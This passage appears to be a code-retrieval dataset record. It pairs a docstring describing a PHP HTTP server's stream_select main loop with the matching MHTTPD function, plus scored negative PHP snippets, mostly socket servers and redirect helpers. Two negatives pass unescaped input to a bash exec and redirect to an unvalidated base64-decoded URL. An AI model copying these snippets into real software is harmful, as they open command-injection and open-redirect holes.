{\n\t\t\t\t\t\t$url = $pommo->_http . $pommo->_baseUrl . 'admin/' . $pommo->_section . '/' . $url;\n\t\t\t\t\t} else {\n\t\t\t\t\t\t$url = $pommo->_http . $pommo->_baseUrl . $pommo->_section . '/' . $url;\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\t$url = $pommo->_http . $pommo->_baseUrl . str_replace($pommo->_baseUrl,'',substr($url,1)); \n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\t$url = $pommo->_http . $url;\n\t\t\t}\n\t\t}\n\t\theader('Location: ' . $url);\n\t\tif ($kill)\n\t\t\tif ($msg)\n\t\t\t\t$pommo->kill($msg);\n\t\t\telse\n\t\t\t\t$pommo->kill($pommo->_T('Redirecting, please wait...'));\n\t\treturn;\n\t}", "function debug_open_window()\r\r\n{\r\r\n\tstatic $window_opened = FALSE;\r\r\n\tif(!$window_opened)\r\r\n\t{\r\r\n\r\r\n?>\r\r\n\t\t<script language=\"JavaScript\">\r\r\n\t\tdebugWindow = window.open(\"\",\"debugWin\",\"toolbar=no,scrollbars,width=600,height=400\");\r\r\n\t\tdebugWindow.document.writeln('<html>');\r\r\n\t\tdebugWindow.document.writeln('<head>');\r\r\n\t\tdebugWindow.document.writeln('<title>PHP Remote Debug Window</title>');\r\r\n\t\tdebugWindow.document.writeln('</head>');\r\r\n\r\r\n\t\tdebugWindow.document.writeln('<body><font face=\"verdana,arial\">');\r\r\n\t\tdebugWindow.document.writeln('<hr size=1 width=\"100%\">');\r\r\n\t\t</script>\r\r\n<?php\r\r\n\t\t$window_opened = TRUE;\r\r\n\t}\r\r\n}", "public function actionDefault()\n\t{\n\t\tTimer::addMarker('running default action');\n\t\t$this->loadSiteContent($_SERVER['REQUEST_URI']);\n\n\t\t# render the content\n\t\t# URLHandler::exposeClassId(true);\n\t\tURLHandler::strictParameterHandling(true);\n\t\t$this->model->renderContent();\n\n\t\t# validate path\n\t\tif (!URLHandler::getMarkedAsResolved()) {\n\t\t\tthrow new Site\\Exception\\HTTPException(404, 'Content not found!');\n\t\t}\n\t}", "function launchBackgroundProcess($call) {\n\tlog_info(\"I WANT TO RUN $call\");\n\t\n\t// Windows\n\tif(is_windows()) {\n\t\tlog_info(\"IN WINDOWS\");\n\t\t//pclose(popen('start /b '.$call, 'r'));\n\t} else { // Some sort of UNIX\n\t\tlog_info(\"IN UNIX\");\n\t\t//exec(\"$call > /dev/null &\");\n\t\t//pclose(popen($call.' /dev/null &', 'r'));\n\t\texec(\"bash -c \\\"exec nohup setsid $call > /dev/null 2>&1 &\\\"\");\n\t}\n\treturn true;\n}", "public function link($url) {\n $this->noview();\n header(\"Location: \" . base64_decode($url));\n exit();\n }", "public function start();", "public function start();", "public function start();", "public function start();", "public function start();" ]
[ "0.6087888", "0.56739134", "0.5212936", "0.5155909", "0.5042084", "0.49425703", "0.4905557", "0.48766857", "0.48760805", "0.48596776", "0.48519766", "0.48236823", "0.48012367", "0.47742614", "0.47495607", "0.47486478", "0.47334105", "0.4711", "0.4704783", "0.47029334", "0.469127", "0.46807644", "0.46801585", "0.46801585", "0.46647546", "0.46524498", "0.46502113", "0.46499926", "0.46362582", "0.4635792", "0.46286678", "0.46197268", "0.4617802", "0.46168128", "0.4613484", "0.4607386", "0.4604512", "0.45605066", "0.45515054", "0.45030805", "0.44979826", "0.44835138", "0.44831622", "0.44812843", "0.44709295", "0.44707435", "0.44586724", "0.44573623", "0.44505918", "0.44340223", "0.44306764", "0.44259694", "0.4415138", "0.44149786", "0.44132307", "0.44111007", "0.44055176", "0.4401638", "0.43926919", "0.43926919", "0.43926919", "0.43926919", "0.43926919", "0.43799955", "0.43757087", "0.43689686", "0.43627596", "0.43609008", "0.4350988", "0.4350625", "0.43503445", "0.43483537", "0.43363023", "0.43276203", "0.43232366", "0.43217263", "0.43134782", "0.4312271", "0.4310174", "0.43078566", "0.4306727", "0.43058085", "0.43037453", "0.43017888", "0.429224", "0.4291563", "0.42896196", "0.4286279", "0.42846063", "0.42842853", "0.42803952", "0.42773575", "0.42735073", "0.42714593", "0.42708397", "0.42708364", "0.42708364", "0.42708364", "0.42708364", "0.42708364" ]
0.7576014
0
Runs the main server loop. This is where the server does most if its work. Once the listening socket is established, iterations of the the main loop are controlled entirely by stream_select() for both client connections and FCGI requests as well as any open file streams. Each loop should ideally finish as quickly as possible to enable best concurrency.
protected static function main() { // Create a TCP/SSL server socket context $context = MHTTPD::getContext(); // Start the listener MHTTPD::createListener($context); // Initialize some handy vars $timeout = ini_get('default_socket_timeout'); $maxClients = MHTTPD::$config['Server']['max_clients']; $maxHeaderBlockSize = MHTTPD_Message::getMaxHeaderBlockSize(); if (MHTTPD::$debug) { $listener_name = stream_socket_get_name(MHTTPD::$listener, false); } // Start the browser MHTTPD::launchBrowser(); // The main loop while (MHTTPD::$running) { // Build a list of active streams to monitor $read = array('listener' => MHTTPD::$listener); foreach (MHTTPD::$clients as $i=>$client) { // Add any client sockets if ($csock = $client->getSocket()) { $read["client_$i"] = $csock; // Add any client FCGI sockets if ($cfsock = $client->getFCGISocket()) { $read["clfcgi_$i"] = $cfsock; } // Add any client file streams if ($client->isStreaming()) { $read["clstrm_$i"] = $client->getStream(); } } } // Add any aborted FCGI requests foreach (MHTTPD::$aborted as $aID=>$ab) { $read['aborted_'.$aID.'_'.$ab['client'].'_'.$ab['pid']] = $ab['socket']; } if (MHTTPD::$debug) { cecho("FCGI scoreboard:\n"); cprint_r(MFCGI::getScoreboard(true)); cecho("\n"); cecho("Pre-select:\n"); cprint_r($read); cecho(chrule()."\n>>>> Waiting for server activity ($listener_name)\n".chrule()."\n\n"); } // Wait for any new activity if (!($ready = @stream_select($read, $write=null, $error=null, null))) { trigger_error("Could not select streams", E_USER_WARNING); } if (MHTTPD::$debug) {cecho("Post-select:\n"); cprint_r($read);} // Check if the listener has a new client connection if (in_array(MHTTPD::$listener, $read)) { // Search for a free slot to add the new client for ($i = 1; $i <= $maxClients; $i++) { if (!isset(MHTTPD::$clients[$i])) { // This slot is free, so add the new client connection if (MHTTPD::$debug) {cecho("New client ($i): ");} if (!($sock = @stream_socket_accept(MHTTPD::$listener, $timeout, $peername))) { if (MHTTPD::$debug) {cecho("\nCould not accept client stream\n");} break; } if (MHTTPD::$debug) {cecho("$peername\n");} $client = new MHTTPD_Client($i, $sock, $peername); $client->debug = MHTTPD::$debug; MHTTPD::$clients[$i] = $client; break; } elseif ($i == $maxClients) { // No free slots, so the request goes to the backlog if (MHTTPD::$debug) {cecho("No free client slots!\n");} trigger_error("Too many clients", E_USER_NOTICE); } } // Return to waiting if only the listener is active if ($ready == 1) { if (MHTTPD::$debug) {cecho("No other connections to handle\n\n");} continue; } } // Handle any incoming client data on selected sockets foreach (MHTTPD::$clients as $i=>$client) { if (MHTTPD::$debug) {cecho("Client ($i) ... ");} $csock = $client->getSocket(); // Handle any new client requests if ($client->isReady() && $csock && in_array($csock, $read)) { // Start reading the request if (MHTTPD::$debug) {cecho("reading ... ");} $client->setTimeout(10); $input = ''; // Get the request header block only while ($buffer = @fgets($csock, 1024)) { $input .= $buffer; if ($buffer == '' || substr($input, -4) == "\r\n\r\n" || strlen($input) > $maxHeaderBlockSize ) { break; } } if ($input) { // Store the headers and process the request if (MHTTPD::$debug) {cecho("done\n");} $client->setInput(trim($input)); if (!$client->processRequest() && !$client->needsAuthorization()) { MHTTPD::removeClient($client); } } else { // No request data, client is disconnecting if (MHTTPD::$debug) {cecho("disconnected\n");} MHTTPD::removeClient($client); continue; } // Handle any request body data } elseif ($client->isPosting() && $csock && in_array($csock, $read)) { if (MHTTPD::$debug) {cecho("reading body ");} $client->readRequestBody(); // Handle any disconnects or malformed requests } elseif ($csock && in_array($csock, $read)) { if (MHTTPD::$debug) {cecho("aborted connection\n");} MHTTPD::removeClient($client); continue; // Handle any inactive client connections } else { if (MHTTPD::$debug) { cecho('inactive ('); cecho('req:'.$client->hasRequest()); cecho(' resp:'.$client->hasResponse()); cecho(' fcgi:'.$client->hasFCGI()); cecho(")\n"); } } // Handle any incoming FCGI responses if (($clfsock = $client->getFCGISocket()) && in_array($clfsock, $read)) { if (MHTTPD::$debug) {cecho("Client ($i) ... reading FCGI socket: {$clfsock}\n");} if (!$client->readFCGIResponse()) { MHTTPD::removeClient($client); // abort any hanging connections } } } // Handle any outgoing FCGI requests foreach (MHTTPD::$clients as $i=>$client) { if ($client->hasFCGI() && !$client->hasSentFCGI() && (!$client->isPosting() || $client->hasFullRequestBuffer()) ) { if (MHTTPD::$debug){cecho("Client ($i) ... sending FCGI request\n");} if (!$client->sendFCGIRequest()) { MHTTPD::removeClient($client); // abort any failed connections } } } // Handle any outgoing client responses foreach (MHTTPD::$clients as $i=>$client) { if ($client->hasRequest()) { if (!$client->isPosting() && $client->hasSentFCGI() && !$client->hasResponse()) { if (MHTTPD::$debug){cecho("Client ($i) ... waiting for FCGI response\n");} continue; } elseif ($client->needsAuthorization()) { if (MHTTPD::$debug){cecho("Client ($i) ... waiting for authorization\n");} continue; } elseif ($client->hasResponse()) { if (MHTTPD::$debug) {cecho("Client ($i) ... handling response\n");} MHTTPD::handleResponse($client); } } } // Handle any aborted FCGI requests foreach ($read as $r) { foreach (MHTTPD::$aborted as $aID=>$ab) { if ($r == $ab['socket']) { MFCGI::removeClient($ab['process']); MHTTPD::closeSocket($r); unset(MHTTPD::$aborted[$aID]); } } } // End of main loop if (MHTTPD::$debug) {cecho("\n");} } // Quit the server cleanly MHTTPD::shutdown(); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function run() {\n while ($this->running) {\n $read = $this->readStreams;\n $write = $this->writeStreams;\n $except = null;\n\n if ($read || $write) {\n @stream_select($read, $write, $except, 0, 100);\n\n foreach ($read as $stream) {\n $this->readHandlers[(int) $stream]($stream);\n }\n\n foreach ($write as $stream) {\n $this->writeHandlers[(int) $stream]($stream);\n }\n } else {\n usleep(100);\n }\n }\n }", "public function run() \n\t{\n\t\twhile( true ) \n\t\t{\n\t\t\tif ( empty($this->sockets) )\n\t\t\t\t$this->sockets['m'] = $this->master;\n\n\t\t\t$read = $this->sockets;\n\t\t\t$write = $except = null;\n\n\t\t\t$this->_tick();\n\t\t\t$this->tick();\n\n\t\t\t@socket_select($read, $write, $except, 1);\n\n\t\t\tforeach ( $read as $socket ) \n\t\t\t{\n\t\t\t\tif ( $socket == $this->master ) \n\t\t\t\t{\n\t\t\t\t\t$client = socket_accept($socket);\n\n\t\t\t\t\tif ( $client < 0 ) \n\t\t\t\t\t{\n\t\t\t\t\t\t$this->stderr(\"Failed: socket_accept()\");\n\t\t\t\t\t\tcontinue;\n\t\t\t\t\t} \n\t\t\t\t\telse \n\t\t\t\t\t{\n\t\t\t\t\t\t$this->connect($client);\n\t\t\t\t\t\t$this->stdout(\"Client connected. \" . $client);\n\t\t\t\t\t}\n\t\t\t\t} \n\t\t\t\telse \n\t\t\t\t{\n\t\t\t\t\t$numBytes = @socket_recv($socket, $buffer, $this->maxBufferSize, 0);\n\n\t\t\t\t\tif ( $numBytes === false ) \n\t\t\t\t\t{\n\t\t\t\t\t\t$sockErrNo = socket_last_error($socket);\n\n\t\t\t\t\t\tswitch ($sockErrNo)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tcase 102: // ENETRESET-- Network dropped connection because of reset\n\t\t\t\t\t\t\tcase 103: // ECONNABORTED -- Software caused connection abort\n\t\t\t\t\t\t\tcase 104: // ECONNRESET -- Connection reset by peer\n\t\t\t\t\t\t\tcase 108: // ESHUTDOWN-- Cannot send after transport endpoint shutdown -- probably more of an error on our part, if we're trying to write after the socket is closed.Probably not a critical error, though.\n\t\t\t\t\t\t\tcase 110: // ETIMEDOUT-- Connection timed out\n\t\t\t\t\t\t\tcase 111: // ECONNREFUSED -- Connection refused -- We shouldn't see this one, since we're listening... Still not a critical error.\n\t\t\t\t\t\t\tcase 112: // EHOSTDOWN-- Host is down -- Again, we shouldn't see this, and again, not critical because it's just one connection and we still want to listen to/for others.\n\t\t\t\t\t\t\tcase 113: // EHOSTUNREACH -- No route to host\n\t\t\t\t\t\t\tcase 121: // EREMOTEIO-- Rempte I/O error -- Their hard drive just blew up.\n\t\t\t\t\t\t\tcase 125: // ECANCELED-- Operation canceled\n\t\t\t\t\t\t\t\t$this->stderr(\"Unusual disconnect on socket \" . $socket);\n\t\t\t\t\t\t\t\t$this->disconnect($socket, true, $sockErrNo); // disconnect before clearing error, in case someone with their own implementation wants to check for error conditions on the socket.\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\tdefault:\n\t\t\t\t\t\t\t\t$this->stderr('Socket error: ' . socket_strerror($sockErrNo));\n\t\t\t\t\t\t}\n\n\t\t\t\t\t}\n\t\t\t\t\telseif ( $numBytes == 0 ) \n\t\t\t\t\t{\n\t\t\t\t\t\t$this->disconnect($socket);\n\t\t\t\t\t\t$this->stderr(\"Client disconnected. TCP connection lost: \" . $socket);\n\t\t\t\t\t} \n\t\t\t\t\telse \n\t\t\t\t\t{\n\t\t\t\t\t\t$user = $this->getUserBySocket($socket);\n\n\t\t\t\t\t\tif ( !$user->handshake ) \n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$tmp = str_replace(\"\\r\", '', $buffer);\n\n\t\t\t\t\t\t\tif (strpos($tmp, \"\\n\\n\") === false ) \n\t\t\t\t\t\t\t\tcontinue; // If the client has not finished sending the header, then wait before sending our upgrade response.\n\n\t\t\t\t\t\t\t$this->doHandshake($user, $buffer);\n\t\t\t\t\t\t} \n\t\t\t\t\t\telse \n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t//split packet into frame and send it to deframe\n\t\t\t\t\t\t\t$this->split_packet($numBytes, $buffer, $user);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}", "function server_loop($address, $port)\n{\n GLOBAL $fh;\n GLOBAL $__server_listening;\n\t\n\t//printLog($fh, \"server_looping...\");\n\n if(($sock = socket_create(AF_INET, SOCK_STREAM, 0)) < 0)\n {\n\t\t//printLog($fh, \"failed to create socket: \".socket_strerror($sock));\n exit();\n }\n\n\tif(($ret = socket_bind($sock, $address, $port)) < 0)\n\t{\n\t\t//printLog($fh, \"failed to bind socket: \".socket_strerror($ret));\n\t\texit();\n\t}\n\n\tif( ( $ret = socket_listen( $sock, 0 ) ) < 0 )\n\t{\n\t\t//printLog($fh, \"failed to listen to socket: \".socket_strerror($ret));\n\t\texit();\n\t}\n\n\tsocket_set_nonblock($sock);\n\n\t//printLog($fh, \"waiting for clients to connect...\");\n\n\twhile ($__server_listening)\n\t{\n\t\t$connection = @socket_accept($sock);\n\t\tif ($connection === false)\n\t\t{\n\t\t\tusleep(100);\n\t\t} elseif ($connection > 0) {\n\t\t\thandle_client($sock, $connection);\n\t\t} else {\n\t\t\t//printLog($fh, \"error: \".socket_strerror($connection));\n\t\t\tdie;\n\t\t}\n\t}\n}", "public function run() {\n $read = array (\n 0 => $this->socket\n );\n\n foreach($this->clients as $client)\n $read[] = $client->socket;\n\n $result = @ socket_select($read, $write = null, $except = null, $this->blocking ? null : 1);\n if ($result === false || ($result === 0 && $this->blocking)) {\n $this->error('Socket Select Interruption: ' . socket_strerror(socket_last_error()));\n return false;\n }\n\n // If the master socket is in the $read array, there's a pending connection\n if (in_array($this->socket, $read))\n $this->connect();\n\n // Handle input from sockets in the $read array.\n $daemon = $this->daemon;\n $printer = function($str) use ($daemon) {\n $daemon->log($str, 'SocketServer');\n };\n\n foreach($this->clients as $slot => $client) {\n if (!in_array($client->socket, $read))\n continue;\n\n $input = socket_read($client->socket, $this->max_read);\n if ($input === null) {\n $this->disconnect($slot);\n continue;\n }\n\n $this->command($input, array($client->write, $printer));\n }\n }", "function server_loop($address, $port)\n{\n GLOBAL $__server_listening;\n\n if(($sock = socket_create(AF_INET, SOCK_STREAM, 0)) < 0)\n {\n echo \"failed to create socket: \".socket_strerror($sock).\"\\n\";\n exit();\n }\n\n if(($ret = socket_bind($sock, $address, $port)) < 0)\n {\n echo \"failed to bind socket: \".socket_strerror($ret).\"\\n\";\n exit();\n }\n\n if( ( $ret = socket_listen( $sock, 0 ) ) < 0 )\n {\n echo \"failed to listen to socket: \".socket_strerror($ret).\"\\n\";\n exit();\n }\n\n socket_set_nonblock($sock);\n \n echo \"waiting for clients to connect\\n\";\n\n while ($__server_listening)\n {\n $connection = @socket_accept($sock);\n if ($connection === false)\n {\n usleep(100);\n }elseif ($connection > 0)\n {\n handle_client($sock, $connection);\n }else\n {\n echo \"error: \".socket_strerror($connection);\n die;\n }\n }\n}", "public function run()\n {\n while(true)\n {\n $changed_sockets = $this->allsockets;\n $write = null;\n $except = null;\n @stream_select($changed_sockets, $write, $except, 0, 5000); \n foreach($changed_sockets as $socket)\n {\n if($socket == $this->master)\n {\n if(($ressource = stream_socket_accept($this->master)) === false)\n {\n $this->log('Socket error: ' . socket_strerror(socket_last_error($ressource)));\n continue;\n }\n else\n {\n $client = $this->createConnection($ressource);\n $this->clients[(int)$ressource] = $client;\n $this->allsockets[] = $ressource;\n \n if(count($this->clients) > $this->_maxClients)\n {\n $this->log('Attention: Client Limit Reached!');\n $client->onDisconnect();\n if($this->getApplication('status') !== false)\n {\n $this->getApplication('status')->statusMsg('Attention: Client Limit Reached!', 'warning');\n }\n continue;\n }\n \n $this->_addIpToStorage($client->getClientIp());\n if($this->_checkMaxConnectionsPerIp($client->getClientIp()) === false)\n {\n $this->log('Connection/Ip limit for ip ' . $client->getClientIp() . ' was reached!');\n $client->onDisconnect();\n if($this->getApplication('status') !== false)\n {\n $this->getApplication('status')->statusMsg('Connection/Ip limit for ip ' . $client->getClientIp() . ' was reached!', 'warning');\n }\n continue;\n } \n }\n }\n else\n { \n $client = $this->clients[(int)$socket];\n if(!is_object($client))\n {\n unset($this->clients[(int)$socket]);\n continue;\n }\n $data = $this->readBuffer($socket); \n $bytes = strlen($data);\n \n if($bytes === 0)\n {\n $client->onDisconnect(); \n continue;\n }\n elseif($data === false)\n {\n $this->removeClientOnError($client);\n continue;\n }\n elseif($client->waitingForData === false && $this->_checkRequestLimit($client->getClientId()) === false)\n {\n $client->onDisconnect();\n }\n else\n { \n $client->onData($data);\n }\n }\n }\n }\n }", "public function run()\n {\n $this->init();\n\n while (true) {\n $this->processControl->checkForSignals();\n $this->checkOnConsumers();\n\n usleep(self::LOOP_PAUSE);\n }\n }", "function serve($cb) {\n\t$offset = rand(0,2000);\n\tforeach (range(40000+$offset, 50000+$offset) as $port) {\n\t\tlogger(\"serve: Trying port %d\", $port);\n\t\tif (($server = @stream_socket_server(\"tcp://localhost:$port\"))) {\n\t\t\tfprintf(STDERR, \"%s\\n\", $port);\n\t\t\tlogger(\"serve: Using port %d\", $port);\n\t\t\tdo {\n\t\t\t\t$R = array($server); $W = array(); $E = array();\n\t\t\t\t$select = stream_select($R, $E, $E, 10, 0);\n\t\t\t\tif ($select && ($client = stream_socket_accept($server, 1))) {\n\t\t\t\t\tlogger(\"serve: Accept client %d\", (int) $client);\n\t\t\t\t\tif (getenv(\"PHP_HTTP_TEST_SSL\")) {\n\t\t\t\t\t\tstream_socket_enable_crypto($client, true, STREAM_CRYPTO_METHOD_SSLv23_SERVER);\n\t\t\t\t\t}\n\t\t\t\t\ttry {\n\t\t\t\t\t\t$R = array($client);\n\t\t\t\t\t\twhile (!feof($client) && stream_select($R, $W, $E, 1, 0)) {\n\t\t\t\t\t\t\tlogger(\"serve: Handle client %d\", (int) $client);\n\t\t\t\t\t\t\t$cb($client);\n\t\t\t\t\t\t}\n\t\t\t\t\t\tlogger(\"serve: EOF/timeout on client %d\", (int) $client);\n\t\t\t\t\t} catch (Exception $ex) {\n\t\t\t\t\t\tlogger(\"serve: Exception on client %d: %s\", (int) $client, $ex->getMessage());\n\t\t\t\t\t\t/* ignore disconnect */\n\t\t\t\t\t\tif ($ex->getMessage() !== \"Empty message received from stream\") {\n\t\t\t\t\t\t\tfprintf(STDERR, \"%s\\n\", $ex);\n\t\t\t\t\t\t}\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t} while ($select);\n\t\t\treturn;\n\t\t}\n\t}\n}", "public function run()\n {\n $this->server->start();\n }", "public function run()\n {\n $port = (int) CommandLine::getInput('p');\n\n if (!$port) {\n die('You must specify a valid port for the socket server. For example: \"-p=1024\"');\n }\n\n $server = new SocketServer('127.0.0.1', $port);\n\n // Set greetings for the new connection\n $server->greetings(\"\\nHi! Just type your brackets sequence and you will see the result\\n\");\n\n // Set handler of the incoming messages\n $server->setMessageHandler($this->messageHandler);\n\n // Start up the server\n $server->run();\n }", "protected function run()\n {\n while (true)\n {\n $changedSockets = $this->sockets;\n\n $write = $except = $tv = $tvu = null;\n\n $result = socket_select($changedSockets, $write, $except, $tv, $tvu);\n\n if ($result === false)\n {\n socket_close($this->socket);\n\n $error = static::getLastError($this->socket);\n\n throw new Exception('Checking for changed sockets failed: ' . $error->message . ' [' . $error->code . ']');\n }\n\n foreach ($changedSockets as $socket)\n {\n if ($socket == $this->socket)\n {\n $newSocket = socket_accept($this->socket);\n\n if ($newSocket !== false)\n {\n $this->connectClient($newSocket);\n }\n else\n {\n $error = static::getLastError($this->socket);\n\n trigger_error('Failed to accept incoming client: ' . $error->message . ' [' . $error->code . ']', E_USER_WARNING);\n }\n }\n else\n {\n $client = $this->getClientBySocket($socket);\n\n if (!isset($client))\n {\n trigger_error('Failed to match given socket to client', E_USER_WARNING);\n\n socket_close($socket);\n\n continue;\n }\n\n $buffer = '';\n $message = '';\n\n $bytes = @socket_recv($socket, $buffer, 4096, 0);\n\n if ($bytes === false)\n {\n $error = static::getLastError($this->socket);\n\n trigger_error('Failed to receive data from client #' . $client->id . ': ' . $error->message . ' [' . $error->code . ']', E_USER_WARNING);\n\n $this->disconnectClient($client->socket);\n\n continue;\n }\n\n $len = ord($buffer[1]) & 127;\n\n $masks = null;\n $data = null;\n\n if ($len === 126)\n {\n $masks = substr($buffer, 4, 4);\n $data = substr($buffer, 8);\n }\n else if ($len === 127)\n {\n $masks = substr($buffer, 10, 4);\n $data = substr($buffer, 14);\n }\n else\n {\n $masks = substr($buffer, 2, 4);\n $data = substr($buffer, 6);\n }\n\n for ($index = 0; $index < strlen($data); $index++)\n {\n $message .= $data[$index] ^ $masks[$index % 4];\n }\n\n if ($bytes == 0)\n {\n $this->disconnectClient($socket);\n }\n else\n {\n if ($client->state == WebSocketClient::STATE_OPEN)\n {\n $client->lastRecieveTime = time();\n\n $this->debug('Received from socket #' . $client->id . ': ' . $message);\n\n $this->onMessageRecieved($client, $message);\n }\n else if ($client->state == WebSocketClient::STATE_CONNECTING)\n {\n $client->performHandshake($buffer);\n }\n }\n }\n }\n }\n }", "public function run():void\n\t{\n\t\t$this->ensureUnclosed();\n\t\t\n\t\tif( $this->_status === self::STATUSES['RUNNING'] )\n\t\t\treturn;\n\t\t\n\t\t$this->_status= self::STATUSES['RUNNING'];\n\t\t\n\t\t$this->_loop();\n\t\t\n\t\t$this->_status= self::STATUSES['DONE'];\n\t}", "public function run()\n {\n if ($this->connect()) {\n $this->login();\n $this->join();\n $this->listen();\n }\n }", "protected function listen()\n {\n do {\n $data = fgets($this->socket, 512);\n if (!empty($data)) {\n $request = $this->receive($data);\n $cmd = strtolower($request->getCommand());\n\n if ($cmd === 'privmsg') {\n $event_name = 'message.' . ($request->isPrivateMessage() ? 'private' : 'channel');\n } else {\n $event_name = 'server.' . $cmd;\n }\n\n // Skip processing if the incoming message is from the bot\n if ($request->getSendingUser() === $this->config['nick']) {\n continue;\n }\n\n $event = new Event($request);\n $this->dispatcher->dispatch($event_name, $event);\n $responses = $event->getResponses();\n\n if (!empty($responses)) {\n $this->send($responses);\n }\n }\n } while (!feof($this->socket));\n }", "public function run()\n {\n $serv = new \\swoole_server($this->host, $this->port);\n $serv->set(\n array(\n 'process_name' => 'ershoufang_crawler', //swoole 进程名称\n 'worker_num' => 2,//开启的worker进程数\n 'task_worker_num' => 2,//开启的task进程数\n 'open_cpu_affinity' => true,\n 'daemonize' => false,\n 'max_request' => 10000,\n 'dispatch_mode' => 2,\n 'debug_mode' => 0,\n 'log_file' => 'swoole.log',\n 'open_tcp_nodelay' => true,\n \"task_ipc_mode\" => 2,\n 'task_max_request' => 10000\n )\n );\n\n $serv->on('Start', array($this, 'onStart'));\n $serv->on('Connect', array($this, 'onConnect'));\n $serv->on('Receive', array($this, 'onReceive'));\n $serv->on('WorkerStart', array($this, 'onWorkerStart'));\n $serv->on('Task', array($this, 'onTask'));\n $serv->on('Finish', array($this, 'onFinish'));\n $serv->on('Close', array($this, 'onClose'));\n $serv->start();\n }", "public function listen() :void {\n\n echo \"Starting websocket server on... \" . $this->address . \":\" . $this->port;\n \n socket_listen($this->server);\n socket_set_nonblock($this->server);\n $this->clients[] = new WebSocket($this->server);\n\n do {\n\n $read = array_map(function($ws) {return $ws->socket;}, $this->clients);\n $write = null; \n $except = null;\n\n $ready = socket_select($read, $write, $except, 0);\n if ($ready === false) {\n if ($this->onError !== null) {\n $callback = $this->onError;\n $callback(\"[\".socket_last_error().\"]\".\" \".socket_strerror(socket_last_error()));\n }\n\n return;\n }\n\n if ($ready < 1) continue;\n\n // check if there is a client trying to connect.\n if (in_array($this->server, $read)) {\n if (($client = socket_accept($this->server)) !== false) {\n\n // send websocket handshake headers.\n if (!$this->sendHandshakeHeaders($client)) {\n continue;\n }\n\n // add the new client to the $clients array.\n $ws = new WebSocket($client);\n $this->clients[] = $ws;\n\n // call \"connection\" event handler for each new client.\n if ($this->onConnect !== null) {\n $callback = $this->onConnect;\n $callback($ws);\n }\n\n // remove the listening socket from the clients-with-data array.\n $key = array_search($this->server, $read);\n unset($read[$key]);\n }\n }\n\n foreach ($read as $key => $client) {\n\n $buffer = \"\";\n $bytes = @socket_recv($client, $buffer, 2048, 0);\n\n // check if the client is disconnected.\n if ($bytes === false) {\n\n // remove client from $clients array\n // and call disconnect event handler.\n unset($this->clients[$key]);\n if ($this->onDisconnect !== null) {\n $callback = $this->onDisconnect;\n $callback();\n }\n\n continue;\n }\n\n $ws = $this->clients[$key];\n $callback = $ws->onMessage;\n if ($callback !== null) {\n $callback($ws, $this->unmask($buffer));\n }\n }\n } while (true);\n socket_close($this->server);\n }", "public function listen()\n {\n $this->openWorker();\n while (!Signal::isExit()) {\n if (($payload = $this->pop(3)) !== null) {\n list($id, $message) = explode(':', $payload, 2);\n $this->handleMessage($message);\n }\n }\n $this->closeWorker();\n }", "public function run(Closure $loopCallback = null): Server {\n $this->_stream->stop()\n ->start();\n\n $condition = ($loopCallback ?? function() {\n return true;\n });\n\n while ($condition($this)) {\n $timeout = empty($this->_messages) ? 1000 : 1;\n $message = $this->_stream->select($timeout);\n if ($message) {\n $this->_messages[] = $message;\n }\n\n foreach ($this->_messages as $key => $message) { /* @var $message IMessage */\n try {\n $message->notify();\n if ($message->isCompleted() || $message->isTimeoutReached()) {\n unset($this->_messages[$key]);\n $message->close();\n }\n } catch (Exception $e) {\n $this->_errors[] = $e;\n $message->close();\n unset($this->_messages[$key]);\n }\n }\n }\n\n return $this;\n }", "private function listenSocket() {\n $result = socket_listen($this->listeningSocket);\n $this->checkResult($result);\n }", "protected function listen()\n {\n // Set time limit to indefinite execution\n set_time_limit (0);\n\n $this->socket = socket_create(\n AF_INET,\n SOCK_DGRAM,\n SOL_UDP\n );\n\n if (!is_resource($this->socket))\n {\n $this->logger->log(\"Failed to create a socket for the discovery server. The reason was: \" .\n socket_strerror(socket_last_error()));\n }\n\n if (!@socket_bind(\n $this->socket,\n $this->config->getSetting('discovery-address'),\n $this->config->getSetting('discovery-port')))\n {\n $this->logger->log(\"Failed to bind to socket while initialising the discovery server.\");\n }\n\n // enter an infinite loop, waiting for data\n $data = '';\n while (true)\n {\n if (@socket_recv($this->socket, $data, 9999, MSG_WAITALL))\n {\n $this->logger->log(\"Discovery server received the following: $data\");\n\n $this->handleMessage($data);\n }\n }\n }", "protected function main()\r\n {\r\n // save incomming data and chop the leading white space\r\n $this->_raw = chop( fgets( $this->_conn ) );\r\n \r\n $this->debug( '<- ' . $this->_raw );\r\n \r\n $data = explode( ' ', $this->_raw );\r\n \r\n // first make sure we are connected and registered on the server\r\n if ( ! $this->_loggedOn )\r\n {\r\n // if not logged on, wait with processing events till we can login\r\n if ( strstr( $this->_raw, \"Found your hostname\" ) )\r\n {\r\n // save the servername so we can use it to identify server notices\r\n $this->_serverName = substr( $data[0], 1 );\r\n \r\n // start login\r\n $this->login();\r\n }\r\n }\r\n else\r\n {\r\n $this->observe( $data );\r\n }\r\n \r\n // if we are still connecting continue monitoring the data\r\n if ( ! feof( $this->_conn ) )\r\n {\r\n $this->main();\r\n }\r\n else\r\n {\r\n // we are disconnected so remove the socket\r\n unset( $this->_conn );\r\n \r\n // reconnect if required\r\n if ( $this->_autoReconnect )\r\n {\r\n $this->reconnect();\r\n }\r\n else\r\n {\r\n $this->log( \"Disconnected from server.\" );\r\n \r\n exit;\r\n }\r\n }\r\n }", "public function socketPerform() {\n \n //if (!$this->active) { requests added on runtime\n $this->initProcessing();\n //}\n $remaining = count($this->requests);\n if ($remaining > 0) {\n curl_multi_exec($this->mh, $running);\n \n $this->readAll();\n /* Remove timeout requests */\n $this->cleanupTimeoutedRequests();\n \n return $running > 0 or count($this->requests)>0;\n }\n return false;\n }", "public function run()\n {\n $this->openWorker();\n while (($payload = $this->pop(0)) !== null) {\n list($id, $message) = explode(':', $payload, 2);\n $this->handleMessage($message);\n }\n $this->closeWorker();\n }", "public function loop()\n\t{\n\t\t$time = time() + 3;\n\n\t\twhile ($time > 